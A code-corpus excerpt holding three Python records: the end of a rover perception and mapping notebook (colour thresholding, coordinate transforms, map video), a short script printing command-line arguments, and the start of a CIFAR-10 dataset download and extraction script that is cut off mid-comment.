color_select[above_thresh] = 1\r\n    # Return the binary image\r\n    return color_select\r\n\r\nfig = plt.figure(figsize=(12,7))\r\nfig.tight_layout()\r\n\r\nthreshed = color_thresh(warped)\r\nplt.subplot(221); plt.imshow(threshed, cmap='gray')\r\n\r\n#scipy.misc.imsave('../output/warped_threshed.jpg', threshed*255)\r\nplt.show()\r\n\r\n\r\n# In[8]:\r\n\r\n\r\n# Identify pixels above the range using hsv color space \r\ndef color_in_range_by_hsv(bgr_img, hsv_min, hsv_max):\r\n    hsv_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2HSV)  # rgb to hsv\r\n    lower = np.array(hsv_min, np.uint8)   # to numpy array\r\n    upper = np.array(hsv_max, np.uint8)   # to numpy array\r\n    return cv2.inRange(hsv_img, lower, upper)  # filter\r\n\r\ndef rgb_to_hsv_color(rgb_color):\r\n    hsv_color = cv2.cvtColor(np.uint8([[rgb_color]]), cv2.COLOR_RGB2HSV)[0][0]\r\n\r\n    print('origin rgb -> hsv color(sv%):', rgb_color, hsv_color, (hsv_color[1]/255, hsv_color[2]/255))\r\n    return hsv_color\r\n\r\n# rock color in hsv\r\nhsv_rock_color = rgb_to_hsv_color((150, 130, 18))\r\n\r\n\r\n\r\nfig = plt.figure(figsize=(21,7))\r\nfig.tight_layout()\r\n\r\n# For rocks (yellow)\r\nplt.subplot(231); plt.imshow(rock_img)\r\n\r\n# color in range\r\nhsv_rock_min = (60, 120, 110)\r\nhsv_rock_max = (135, 255, 255)\r\nthreshed_hsb_rock_img = color_in_range_by_hsv(rock_img, hsv_rock_min, hsv_rock_max)\r\n\r\nplt.subplot(232); plt.imshow(threshed_hsb_rock_img, cmap='gray')\r\n\r\n# masked\r\nmasked_hsb_rock_img = cv2.bitwise_and(rock_img, rock_img, mask=threshed_hsb_rock_img)\r\nplt.subplot(233); plt.imshow(masked_hsb_rock_img)  \r\n\r\n\r\n# perspect\r\nwarped_with_rock = perspect_transform(rock_img, source, destination)\r\nplt.subplot(234); plt.imshow(warped_with_rock)\r\n\r\n# color in range\r\nthreshed_warped_rock_img = color_in_range_by_hsv(warped_with_rock, hsv_rock_min, hsv_rock_max)\r\nplt.subplot(235); plt.imshow(threshed_warped_rock_img, cmap='gray')\r\n\r\n# masked\r\nmasked_warped_rock_img = cv2.bitwise_and(warped_with_rock, warped_with_rock, mask=threshed_warped_rock_img)\r\nplt.subplot(236); plt.imshow(masked_warped_rock_img)  \r\n\r\n\r\n# In[9]:\r\n\r\n\r\n## Find rock (\u5ca9\u3092\u63a2\u3059)\r\ndef color_in_range_by_hsv(bgr_img, hsv_min, hsv_max):\r\n    # ref. https://docs.opencv.org/3.1.0/d7/d1b/group__imgproc__misc.html#ga397ae87e1288a81d2363b61574eb8cab\r\n    hsv_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2HSV)  # rgb to hsv\r\n    \r\n    # ref. https://docs.opencv.org/3.1.0/d2/de8/group__core__array.html#ga48af0ab51e36436c5d04340e036ce981\r\n    lower = np.array(hsv_min, np.uint8)   # to numpy array\r\n    upper = np.array(hsv_max, np.uint8)   # to numpy array\r\n    return cv2.inRange(hsv_img, lower, upper)  # 0 or 255 before filtering\r\n\r\ndef find_rocks_by_hsv(img, hsv_min = (60, 120, 110), hsv_max = (135, 255, 255)):\r\n    # return 0 or 255 image\r\n    return color_in_range_by_hsv(img, hsv_min, hsv_max)\r\n\r\nthreshed_rocks_img = find_rocks_by_hsv(rock_img)\r\nnot_rocks_img = find_rocks_by_hsv(image)\r\nprint('rocks:', threshed_rocks_img.any(), np.count_nonzero(threshed_rocks_img))\r\nprint('not rocks: ', not_rocks_img.any(), np.count_nonzero(not_rocks_img))\r\n\r\nfig = plt.figure(figsize=(14,7))\r\nplt.subplot(121); plt.imshow(rock_img)\r\nplt.subplot(122); plt.imshow(threshed_rocks_img, cmap='gray')\r\n\r\n\r\n# In[10]:\r\n\r\n\r\n# Identify pixels above the range\r\ndef color_in_range_by_bgr(bgr_img, bgr_min, bgr_max):\r\n    lower = np.array(bgr_min, np.uint8)   # to numpy array\r\n    upper = np.array(bgr_max, np.uint8)   # to numpy array\r\n    return cv2.inRange(bgr_img, lower, upper)  # filter\r\n\r\n\r\nrgb_to_hsv_color((0, 0, 0)) # dark obstacle\r\nrgb_to_hsv_color((73, 68, 65)) # light obstacle\r\nrgb_to_hsv_color((114, 105, 99)) # sky\r\nrgb_to_hsv_color((197, 178, 163)) # ground\r\nrgb_to_hsv_color((189, 157, 0)) # rock\r\n\r\n\r\n# In[11]:\r\n\r\n\r\n## For obstacles only (mask) \u969c\u5bb3\u306e\u307f\r\n# make fill image\r\nfull_img = np.ones_like(rock_img[:,:,0])\r\n# transform image\r\nwarped_full_img = perspect_transform(full_img, source, destination)\r\n\r\nfig = plt.figure(figsize=(14,7))\r\nfig.tight_layout()\r\n\r\nplt.subplot(221); plt.imshow(rock_img)\r\nplt.subplot(222); plt.imshow(warped_with_rock)\r\nplt.subplot(223); plt.imshow(full_img, cmap='gray')\r\nplt.subplot(224); plt.imshow(warped_full_img, cmap='gray')  # \r\n\r\n\r\n# In[21]:\r\n\r\n\r\n## For navigable terrain only \u9053\u306e\u307f\r\n\r\n#hsv_navi_min = (10, 30, 120)\r\n#hsv_navi_max = (255, 230, 255)\r\n\r\nfig = plt.figure(figsize=(20,10))\r\nfig.tight_layout()\r\n\r\nplt.subplot(221); plt.imshow(rock_img)\r\nplt.subplot(222); plt.imshow(warped_with_rock)\r\n\r\nnormal_threshed_navi = color_thresh(warped_with_rock)\r\n#_img = color_in_range_by_hsv(warped_with_rock, hsv_navi_min, hsv_navi_max)\r\n\r\nplt.subplot(223); plt.imshow(normal_threshed_navi, cmap='gray')\r\nthreshed_navi = normal_threshed_navi\r\n\r\n# Reduce mask\r\nkernel = np.ones((5,5), np.uint8)\r\n# kernel = np.array([\r\n#     [0,1,1,1,0],\r\n#     [0,1,1,1,0],\r\n#     [0,1,1,1,0],\r\n#     [0,0,0,0,0],\r\n#     [0,0,0,0,0]], np.uint8) \r\nthreshed_navi_img = cv2.erode(normal_threshed_navi, kernel)\r\n\r\nplt.subplot(224); plt.imshow(threshed_navi_img, cmap='gray')\r\n\r\n\r\n# ## Coordinate Transformations\r\n# Define the functions used to do coordinate transforms and apply them to an image.\r\n\r\n# In[13]:\r\n\r\n\r\n# Define a function to convert from image coords to rover coords\r\ndef rover_coords(binary_img):\r\n    # Identify nonzero pixels\r\n    ypos, xpos = binary_img.nonzero()\r\n    # Calculate pixel positions with reference to the rover position being at the \r\n    # center bottom of the image.  \r\n    x_pixel = -(ypos - binary_img.shape[0]).astype(np.float)\r\n    y_pixel = -(xpos - binary_img.shape[1]/2 ).astype(np.float)\r\n    return x_pixel, y_pixel\r\n\r\n# Define a function to convert to radial coords in rover space\r\ndef to_polar_coords(x_pixel, y_pixel):\r\n    # Convert (x_pixel, y_pixel) to (distance, angle) \r\n    # in polar coordinates in rover space\r\n    # Calculate distance to each pixel\r\n    dist = np.sqrt(x_pixel**2 + y_pixel**2)\r\n    # Calculate angle away from vertical for each pixel\r\n    angles = np.arctan2(y_pixel, x_pixel)\r\n    return dist, angles\r\n\r\n# Define a function to map rover space pixels to world space\r\ndef rotate_pix(xpix, ypix, yaw):\r\n    # Convert yaw to radians\r\n    yaw_rad = yaw * np.pi / 180\r\n    xpix_rotated = (xpix * np.cos(yaw_rad)) - (ypix * np.sin(yaw_rad))\r\n                            \r\n    ypix_rotated = (xpix * np.sin(yaw_rad)) + (ypix * np.cos(yaw_rad))\r\n    # Return the result  \r\n    return xpix_rotated, ypix_rotated\r\n\r\ndef translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale): \r\n    # Apply a scaling and a translation\r\n    xpix_translated = (xpix_rot / scale) + xpos\r\n    ypix_translated = (ypix_rot / scale) + ypos\r\n    # Return the result  \r\n    return xpix_translated, ypix_translated\r\n\r\n\r\n# Define a function to apply rotation and translation (and clipping)\r\n# Once you define the two functions above this function should work\r\ndef pix_to_world(xpix, ypix, xpos, ypos, yaw, world_size, scale):\r\n    # Apply rotation\r\n    xpix_rot, ypix_rot = rotate_pix(xpix, ypix, yaw)\r\n    # Apply translation\r\n    xpix_tran, ypix_tran = translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale)\r\n    # Perform rotation, translation and clipping all at once\r\n    x_pix_world = np.clip(np.int_(xpix_tran), 0, world_size - 1)\r\n    y_pix_world = np.clip(np.int_(ypix_tran), 0, world_size - 1)\r\n    # Return the result\r\n    return x_pix_world, y_pix_world\r\n\r\n# Grab another random image\r\nidx = np.random.randint(0, len(img_list)-1)\r\nimage = mpimg.imread(img_list[idx])\r\nwarped = perspect_transform(image, source, destination)\r\nthreshed = color_thresh(warped)\r\n\r\n# Calculate pixel values in rover-centric coords and distance/angle to all pixels\r\nxpix, ypix = rover_coords(threshed)\r\ndist, angles = to_polar_coords(xpix, ypix)\r\nmean_dir = np.mean(angles)\r\n\r\n# Do some plotting\r\nfig = plt.figure(figsize=(12,9))\r\nplt.subplot(221)\r\nplt.imshow(image)\r\nplt.subplot(222)\r\nplt.imshow(warped)\r\nplt.subplot(223)\r\nplt.imshow(threshed, cmap='gray')\r\nplt.subplot(224)\r\nplt.plot(xpix, ypix, '.')\r\nplt.ylim(-160, 160)\r\nplt.xlim(0, 160)\r\narrow_length = 100\r\nx_arrow = arrow_length * np.cos(mean_dir)\r\ny_arrow = arrow_length * np.sin(mean_dir)\r\nplt.arrow(0, 0, x_arrow, y_arrow, color='red', zorder=2, head_width=10, width=2)\r\n\r\n\r\n# ## Read in saved data and ground truth map of the world\r\n# The next cell is all setup to read your saved data into a `pandas` dataframe.  Here you'll also read in a \"ground truth\" map of the world, where white pixels (pixel value = 1) represent navigable terrain.  \r\n# \r\n# After that, we'll define a class to store telemetry data and pathnames to images.  When you instantiate this class (`data = Databucket()`) you'll have a global variable called `data` that you can refer to for telemetry and map data within the `process_image()` function in the following cell.  \r\n# \r\n\r\n# In[14]:\r\n\r\n\r\n# Import pandas and read in csv file as a dataframe\r\nimport pandas as pd\r\n# Change the path below to your data directory\r\n# If you are in a locale (e.g., Europe) that uses ',' as the decimal separator\r\n# change the '.' to ','\r\ndf = pd.read_csv('../test_dataset/robot_log.csv', delimiter=';', decimal='.')\r\ncsv_img_list = df[\"Path\"].tolist() # Create list of image pathnames\r\n# Read in ground truth map and create a 3-channel image with it\r\nground_truth = mpimg.imread('../calibration_images/map_bw.png')\r\nground_truth_3d = np.dstack((ground_truth*0, ground_truth*255, ground_truth*0)).astype(np.float)\r\n\r\n# Creating a class to be the data container\r\n# Will read in saved data from csv file and populate this object\r\n# Worldmap is instantiated as 200 x 200 grids corresponding \r\n# to a 200m x 200m space (same size as the ground truth map: 200 x 200 pixels)\r\n# This encompasses the full range of output position values in x and y from the sim\r\nclass Databucket():\r\n    def __init__(self):\r\n        self.images = csv_img_list  \r\n        self.xpos = df[\"X_Position\"].values\r\n        self.ypos = df[\"Y_Position\"].values\r\n        self.yaw = df[\"Yaw\"].values\r\n        self.count = 0 # This will be a running index\r\n        self.worldmap = np.zeros((200, 200, 3)).astype(np.float)\r\n        self.ground_truth = ground_truth_3d # Ground truth worldmap\r\n\r\n# Instantiate a Databucket().. this will be a global variable/object\r\n# that you can refer to in the process_image() function below\r\ndata = Databucket()\r\n\r\n\r\n# In[15]:\r\n\r\n\r\n############# Test of make worldmap ################\r\n\r\n# a camera image to navigable terrain/obstacles/rock samples\r\n_worldmap = np.copy(data.worldmap)\r\n# todo: update _worldmap\r\nprint(_worldmap.shape)\r\n\r\n_index = 0\r\n_img = mpimg.imread(data.images[_index])\r\n_scale = 10\r\n_xpos = data.xpos[_index]\r\n_ypos = data.ypos[_index]\r\n_yaw = data.yaw[_index]\r\nprint(_img.shape, _xpos, _ypos, _yaw)\r\n\r\n\r\n# fill for obstacles terrain to \r\n_full_img = np.ones_like(_img[:,:,0])\r\n_warped_full_img = perspect_transform(_full_img, source, destination)\r\n_xpix, _ypix = rover_coords(_warped_full_img)\r\n_x_world, _y_world = pix_to_world(_xpix, _ypix, _xpos, _ypos, _yaw, _worldmap.shape[0], _scale)\r\n_worldmap[_y_world,_x_world,:] = (255,0,0)\r\n\r\n# fill for navigable terrain to blue\r\n_warped_img = perspect_transform(_img, source, destination)\r\n_threshed_navi = color_thresh(_warped_img)\r\n_xpix, _ypix = rover_coords(_threshed_navi)\r\n_x_world, _y_world = pix_to_world(_xpix, _ypix, _xpos, _ypos, _yaw, _worldmap.shape[0], _scale)\r\n_worldmap[_y_world,_x_world,:] = (0,0,255)\r\n\r\n# fill for rock samples\r\n_threshed_hsb_rock_img = color_in_range_by_hsv(_warped_img, hsv_rock_min, hsv_rock_max)\r\n_xpix, _ypix = rover_coords(_threshed_hsb_rock_img)\r\n_x_world, _y_world = pix_to_world(_xpix, _ypix, _xpos, _ypos, _yaw, _worldmap.shape[0], _scale)\r\n_worldmap[_y_world,_x_world,:] = (255,255,255)\r\n\r\n\r\n# overlay \r\n_map_add = cv2.addWeighted(_worldmap, 1, data.ground_truth, 0.5, 0)\r\n_flippud_map_add = np.flipud(_map_add)\r\n\r\n# show \r\nfig = plt.figure(figsize=(18,5))\r\nprint(np.max(_worldmap), np.max(data.ground_truth), np.max(_map_add))\r\nplt.subplot(131); plt.imshow(np.uint8(_worldmap))\r\nplt.subplot(132); plt.imshow(np.uint8(data.ground_truth))\r\nplt.subplot(133); plt.imshow(np.uint8(_map_add))\r\n\r\n\r\n# ## Write a function to process stored images\r\n# \r\n# Modify the `process_image()` function below by adding in the perception step processes (functions defined above) to perform image analysis and mapping.  The following cell is all set up to use this `process_image()` function in conjunction with the `moviepy` video processing package to create a video from the images you saved taking data in the simulator.  \r\n# \r\n# In short, you will be passing individual images into `process_image()` and building up an image called `output_image` that will be stored as one frame of video.  You can make a mosaic of the various steps of your analysis process and add text as you like (example provided below).  \r\n# \r\n# \r\n# \r\n# To start with, you can simply run the next three cells to see what happens, but then go ahead and modify them such that the output video demonstrates your mapping process.  Feel free to get creative!\r\n\r\n# In[16]:\r\n\r\n\r\n\r\n# Define a function to pass stored images to\r\n# reading rover position and yaw angle from csv file\r\n# This function will be used by moviepy to create an output video\r\ndef process_image(img):\r\n    # Example of how to use the Databucket() object defined above\r\n    # to print the current x, y and yaw values \r\n    # print(data.xpos[data.count], data.ypos[data.count], data.yaw[data.count])\r\n\r\n    # DONE: \r\n    # 1) Define source and destination points for perspective transform\r\n    dst_size = 5 \r\n    bottom_offset = 6\r\n    source = np.float32([[14, 140], [301 ,140],[200, 96], [118, 96]])\r\n    destination = np.float32([[img.shape[1]/2 - dst_size, img.shape[0] - bottom_offset],\r\n                  [img.shape[1]/2 + dst_size, img.shape[0] - bottom_offset],\r\n                  [img.shape[1]/2 + dst_size, img.shape[0] - 2*dst_size - bottom_offset], \r\n                  [img.shape[1]/2 - dst_size, img.shape[0] - 2*dst_size - bottom_offset],\r\n                  ])\r\n    \r\n    scale = 10\r\n    world_size = data.worldmap.shape[0]\r\n    xpos, ypos, yaw = (data.xpos[data.count], data.ypos[data.count], data.yaw[data.count])\r\n    \r\n    # 2) Apply perspective transform\r\n    warped_img = perspect_transform(img, source, destination)\r\n    filled_img = np.ones_like(img[:,:,0])\r\n    warped_obst_img = perspect_transform(filled_img, source, destination)\r\n    \r\n    # 3) Apply color threshold to identify navigable terrain/obstacles/rock samples\r\n    threshed_navi_img = color_thresh(warped_img)\r\n    # reserve mask only(obst_img - img)\r\n    threshed_obst_img =         np.absolute(np.float32(threshed_navi_img) - 1) * warped_obst_img\r\n    \r\n    # 4) Convert thresholded image pixel values to rover-centric coords\r\n    navi_xpix, navi_ypix = rover_coords(threshed_navi_img)\r\n    obst_xpix, obst_ypix = rover_coords(threshed_obst_img)\r\n    \r\n    # 5) Convert rover-centric pixel values to world coords\r\n    obst_x_world, obst_y_world = pix_to_world(\r\n        obst_xpix, obst_ypix, xpos, ypos, yaw, world_size, scale)\r\n    navi_x_world, navi_y_world = pix_to_world(\r\n        navi_xpix, navi_ypix, xpos, ypos, yaw, world_size, scale)\r\n\r\n    # 6) Update worldmap (to be displayed on right side of screen)\r\n    # Example: data.worldmap[obst_y_world, obst_x_world, 0] += 1\r\n    #          data.worldmap[rock_y_world, rock_x_world, 1] += 1\r\n    #          data.worldmap[navi_y_world, navi_x_world, 2] += 1\r\n    \r\n    # navigatable terrain as BLUE\r\n    data.worldmap[navi_y_world, navi_x_world, 2] = 255\r\n    # obstacles as RED\r\n    data.worldmap[obst_y_world, obst_x_world, 0] = 255\r\n    # override blue on red\r\n    data.worldmap[data.worldmap[:,:,2] > 0, 0] = 0\r\n    \r\n    # Fill by white if rocks in image\r\n    rocks_img = find_rocks_by_hsv(warped_img)\r\n    if rocks_img.any():\r\n        rock_xpix, rock_ypix = rover_coords(rocks_img)    \r\n        rock_x_world, rock_y_world = pix_to_world(\r\n            rock_xpix, rock_ypix, xpos, ypos, yaw, world_size, scale)\r\n        # rocks as WHITE\r\n        data.worldmap[rock_y_world, rock_x_world, :] = 255\r\n\r\n    # 7) Make a mosaic image, below is some example code\r\n    # First create a blank image (can be whatever shape you like)\r\n    output_image = np.zeros((img.shape[0] + data.worldmap.shape[0], img.shape[1]*2, 3))\r\n    \r\n    # Next you can populate regions of the image with various output\r\n    # Here I'm putting the original image in the upper left hand corner\r\n    # \u5de6\u4e0a\u306b\u5143\u753b\u50cf\u3092\u8cbc\u308a\u4ed8\u3051\u308b\r\n    output_image[0:img.shape[0], 0:img.shape[1]] = img\r\n\r\n    # Let's create more images to add to the mosaic, first a warped image\r\n    warped = perspect_transform(img, source, destination)\r\n    # Add the warped image in the upper right hand corner\r\n    # \u53f3\u4e0a\u306b\u900f\u8996\u5909\u63db\u3057\u305f\u753b\u50cf\u3092\u8cbc\u308a\u4ed8\u3051\u308b\r\n    output_image[0:img.shape[0], img.shape[1]:] = warped\r\n\r\n    # Overlay worldmap with ground truth map\r\n    map_add = cv2.addWeighted(data.worldmap, 1, data.ground_truth, 0.5, 0)\r\n    # Flip map overlay so y-axis points upward and add to output_image \r\n    # \u5de6\u4e0b\u306b\u3001 \u5b9f\u969b\u306e\u5730\u9762\u3068 3 \u3064\u306e identify \u60c5\u5831\u304c\u5408\u6210\u3055\u308c\u305f\u30de\u30c3\u30d7\u3092\u8cbc\u308a\u4ed8\u3051\u308b\r\n    output_image[img.shape[0]:, 0:data.worldmap.shape[1]] = np.flipud(map_add)\r\n\r\n    # World map only \r\n    # \u53f3\u4e0b\u306b\u3001 \u30ef\u30fc\u30eb\u30c9\u30de\u30c3\u30d7 \u3060\u3051\u306e\u30de\u30c3\u30d7\u3092\u8cbc\u308a\u4ed8\u3051\u308b\r\n    output_image[img.shape[0]:, \r\n                 img.shape[1]:img.shape[1] + data.worldmap.shape[1]] \\\r\n        = np.flipud(data.worldmap)\r\n\r\n    # Then putting some text over the image\r\n    cv2.putText(output_image,\"Populate this image with your analyses to make a video!\", (20, 20), \r\n                cv2.FONT_HERSHEY_COMPLEX, 0.4, (255, 255, 255), 1)\r\n    if data.count < len(data.images) - 1:\r\n        data.count += 1 # Keep track of the index in the Databucket()\r\n    \r\n    return output_image\r\n\r\n\r\n# ## Make a video from processed image data\r\n# Use the [moviepy](https://zulko.github.io/moviepy/) library to process images and create a video.\r\n#   \r\n\r\n# In[17]:\r\n\r\n\r\n# Import everything needed to edit/save/watch video clips\r\nfrom moviepy.editor import VideoFileClip\r\nfrom moviepy.editor import ImageSequenceClip\r\n\r\n\r\n# Define pathname to save the output video\r\noutput = '../output/test_mapping.mp4'\r\ndata = Databucket() # Re-initialize data in case you're running this cell multiple times\r\nclip = ImageSequenceClip(data.images, fps=60) # Note: output video will be sped up because \r\n                                          # recording rate in simulator is fps=25\r\nnew_clip = clip.fl_image(process_image) #NOTE: this function expects color images!!\r\nget_ipython().run_line_magic('time', 'new_clip.write_videofile(output, audio=False)')\r\n\r\n\r\n# ### This next cell should function as an inline video player\r\n# If this fails to render the video, try running the following cell (alternative video rendering method).  You can also simply have a look at the saved mp4 in your `/output` folder\r\n\r\n# In[392]:\r\n\r\n\r\n\r\nfrom IPython.display import HTML\r\nHTML(\"\"\"\r\n<video width=\"960\" height=\"540\" controls>\r\n  <source src=\"{0}\">\r\n</video>\r\n\"\"\".format(output))\r\n\r\n\r\n# ### Below is an alternative way to create a video in case the above cell did not work.\r\n\r\n# In[387]:\r\n\r\n\r\nimport io\r\nimport base64\r\nvideo = io.open(output, 'r+b').read()\r\nencoded_video = base64.b64encode(video)\r\nHTML(data='''<video alt=\"test\" controls>\r\n                <source src=\"data:video/mp4;base64,{0}\" type=\"video/mp4\" />\r\n             </video>'''.format(encoded_video.decode('ascii')))\r\n\r\n", "meta": {"hexsha": "fddbc417f778330cecbd2486515685a691b1ca77", "size": 26823, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/Rover_Project_Test_Notebook.py", "max_stars_repo_name": "tobynet/RoboND-Rover-Project", "max_stars_repo_head_hexsha": "e71a76ab911dc3bf5df7701eb50b50c65f6b803c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "code/Rover_Project_Test_Notebook.py", "max_issues_repo_name": "tobynet/RoboND-Rover-Project", "max_issues_repo_head_hexsha": "e71a76ab911dc3bf5df7701eb50b50c65f6b803c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/Rover_Project_Test_Notebook.py", "max_forks_repo_name": "tobynet/RoboND-Rover-Project", "max_forks_repo_head_hexsha": "e71a76ab911dc3bf5df7701eb50b50c65f6b803c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.5860465116, "max_line_length": 602, "alphanum_fraction": 0.703500727, "include": true, "reason": "import numpy,import scipy", "num_tokens": 7216, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.414898860266261, "lm_q2_score": 0.12940274334274965, "lm_q1q2_score": 0.05368905072823432}}
{"text": "import numpy as np # the Numpy library\nimport matplotlib.pyplot as plt #Matplotlib's pyplot\n\nimport sys #gives access to a C-like sys library\nimport os #gives access to operating system\n\nprint(sys.argv) #prints any command line arguments, incl program name\nprint(os.getcwd()) #prints the current working directory", "meta": {"hexsha": "942db547c30816980e22a6ae0c04e72d900acc34", "size": 313, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_useful_modules.py", "max_stars_repo_name": "kywdavis/astr-119-session-4", "max_stars_repo_head_hexsha": "59b76b6f21bfee0e5bfe0217169d8c8767a2252a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python_useful_modules.py", "max_issues_repo_name": "kywdavis/astr-119-session-4", "max_issues_repo_head_hexsha": "59b76b6f21bfee0e5bfe0217169d8c8767a2252a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-11T07:35:25.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-22T19:36:51.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "kywdavis/astr-119-hw-1", "max_forks_repo_head_hexsha": "5763eb459ea47aa2734db98d72597adafeab0b38", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.125, "max_line_length": 69, "alphanum_fraction": 0.7955271565, "include": true, "reason": "import numpy", "num_tokens": 69, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.29421497216298875, "lm_q2_score": 0.18242551936144574, "lm_q1q2_score": 0.053672319100746525}}
{"text": "\"\"\"\n\u672c\u811a\u672c\u5bf9cifar10\u6570\u636e\u8fdb\u884c\u89e3\u6790\uff0c\u8f6c\u6362\u6210\u56fe\u7247\uff0c\u751f\u6210\u8bad\u7ec3\u56fe\u7247\u548c\u6d4b\u8bd5\u56fe\u7247\u3002\n\"\"\"\n\nimport urllib.request\nimport os\nimport sys\nimport tarfile\nimport glob\nimport pickle\nimport numpy as np\nimport cv2\n\n\n# \u901a\u8fc7\u8fd9\u4e2a\u51fd\u6570\u5b8c\u6210\u5bf9\u6570\u636e\u96c6\u7684\u4e0b\u8f7d\u548c\u89e3\u538b\n# tarball_url \u8868\u793acifar10\u6570\u636e\u96c6\u7684\u4e0b\u8f7d\u94fe\u63a5\n# dataset_dir \u8868\u793a\u5b58\u50a8\u7684\u8def\u5f84\n\n# \u6267\u884c\u4e0b\u9762\u7684\u4ee3\u7801\u53ef\u4ee5\u5b8c\u6210\u6570\u636e\u96c6\u7684\u4e0b\u8f7d\u548c\u89e3\u538b\n# DATA_URL = 'http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz'\n# DATA_DIR = 'data'\n\n# download_and_uncompress_tarball(DATA_URL, DATA_DIR)\ndef download_and_uncompress_tarball(tarball_url, dataset_dir):\n    \"\"\"Downloads the `tarball_url` and uncompresses it locally.\n  Args:\n    tarball_url: The URL of a tarball file.\n    dataset_dir: The directory where the temporary files are stored.\n  \"\"\"\n    # tarball_url='http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz'\n    filename = tarball_url.split('/')[-1]  # \u6587\u4ef6\u540d\uff0c\u901a\u8fc7/\u62c6\u5206\u5b57\u7b26\u4e32\uff0c\u53d6\u6700\u540e\u4e00\u8282\uff0c\u4e5f\u5c31\u662fcifar-10-python.tar.gz\n    # dataset_dir = 'data'\n    # os.path.join()\u8def\u5f84\u62fc\u63a5\uff0c/data/cifar-10-python.tar.gz\n    filepath = os.path.join(dataset_dir, filename)\n\n    # \u5b9a\u4e49\u8fdb\u5ea6\u51fd\u6570\uff0c\u5206\u5757\u4e0b\u8f7d\n    # count \u7b2c\u51e0\u4e2a\u5757\n    # block_size \u6bcf\u4e2a\u5757\u7684\u5927\u5c0f\n    # total_size \u603b\u7684\u5927\u5c0f\n    def _progress(count, block_size, total_size):\n        # \u7b49\u4ef7\u4e8eprint() print\u5e95\u5c42\u8c03\u7528\u7684\u5c31\u662fsys.stdout.write()\n        sys.stdout.write('\\r>> Downloading %s %.1f%%' % (\n            filename, float(count * block_size) / float(total_size) * 100.0))\n        sys.stdout.flush()\n\n    # \u5982\u679c\u6587\u4ef6\u8fd8\u4e0d\u5b58\u5728\uff0c\u624d\u4e0b\u8f7d\uff0c\u5426\u5219\u4e0d\u4e0b\u8f7d\n    if not os.path.isfile(filepath):\n        # urlretrieve(url, filename=None, reporthook=None, data=None)\n        # \u53c2\u6570url\uff1a\u4e0b\u8f7d\u94fe\u63a5\u5730\u5740\n        # \u53c2\u6570filename\uff1a\u6307\u5b9a\u4e86\u4fdd\u5b58\u672c\u5730\u8def\u5f84\uff08\u5982\u679c\u53c2\u6570\u672a\u6307\u5b9a\uff0curllib\u4f1a\u751f\u6210\u4e00\u4e2a\u4e34\u65f6\u6587\u4ef6\u4fdd\u5b58\u6570\u636e\u3002\uff09\n        # \u53c2\u6570reporthook\uff1a\u662f\u4e00\u4e2a\u56de\u8c03\u51fd\u6570\uff0c\u5f53\u8fde\u63a5\u4e0a\u670d\u52a1\u5668\u3001\u4ee5\u53ca\u76f8\u5e94\u7684\u6570\u636e\u5757\u4f20\u8f93\u5b8c\u6bd5\u65f6\u4f1a\u89e6\u53d1\u8be5\u56de\u8c03\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u56de\u8c03\u51fd\u6570\u6765\u663e\u793a\u5f53\u524d\u7684\u4e0b\u8f7d\u8fdb\u5ea6\u3002\n        # \u53c2\u6570data\uff1a\u6307post\u5bfc\u670d\u52a1\u5668\u7684\u6570\u636e\uff0c\u8be5\u65b9\u6cd5\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u4e24\u4e2a\u5143\u7d20\u7684(filename, headers)\u5143\u7ec4\uff0cfilename\u8868\u793a\u4fdd\u5b58\u5230\u672c\u5730\u7684\u8def\u5f84\uff0cheader\u8868\u793a\u670d\u52a1\u5668\u7684\u54cd\u5e94\u5934\n        filepath, _ = urllib.request.urlretrieve(tarball_url, filepath, _progress)\n        print()\n\n    else:\n        print('File already existed!')\n\n    # \u83b7\u53d6\u6587\u4ef6\u7684\u4fe1\u606f\n    statinfo = os.stat(filepath)\n    print('Successfully downloaded', filename, statinfo.st_size, 'bytes.')\n    # \u5c06gz\u6587\u4ef6\u89e3\u538b\u5230dataset_dir\u6307\u5b9a\u7684\u6587\u4ef6\u5939\n    tarfile.open(filepath, 'r:gz').extractall(dataset_dir)\n\n\n# \u9884\u5b9a\u4e4910\u4e2a\u5206\u7c7b\nclassification = ['airplane',\n                  'automobile',\n                  'bird',\n                  'cat',\n                  'deer',\n                  'dog',\n                  'frog',\n                  'horse',\n                  'ship',\n                  'truck']\n\n\n# pickle\u7528\u4e8e\u5e8f\u5217\u5316\n# \u7528\u4e8epython\u7279\u6709\u7684\u7c7b\u578b\u548cpython\u7684\u6570\u636e\u7c7b\u578b\u95f4\u8fdb\u884c\u8f6c\u6362\n# pickle\u63d0\u4f9b\u56db\u4e2a\u529f\u80fd\uff1adumps,dump,loads,load\n# pickle\u53ef\u4ee5\u5b58\u50a8\u7684\u6570\u636e\u7c7b\u578b\n# - 